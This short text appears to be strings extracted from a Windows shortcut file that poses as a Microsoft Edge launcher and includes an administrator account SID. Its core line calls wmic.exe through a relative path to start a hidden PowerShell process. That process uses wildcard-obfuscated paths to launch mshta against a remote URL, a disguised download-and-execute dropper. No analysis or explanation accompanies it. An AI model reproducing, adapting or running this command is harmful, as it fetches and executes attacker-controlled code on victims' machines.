Windows
System32
wmic.exe
%ProgramFiles%\Microsoft\Edge\Application\msedge.exe
Windows
System32
wmic.exe
*..\..\..\..\Windows\System32\Wbem\wmic.exelprocess call create "powershell -w 1 . \W*\S*2\m*ht*e https://divvanews.com/wp-includes/images/media/thing2"<C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
%ProgramFiles%\Microsoft\Edge\Application\msedge.exe
S-1-5-21-374341755-3363174062-2125372912-500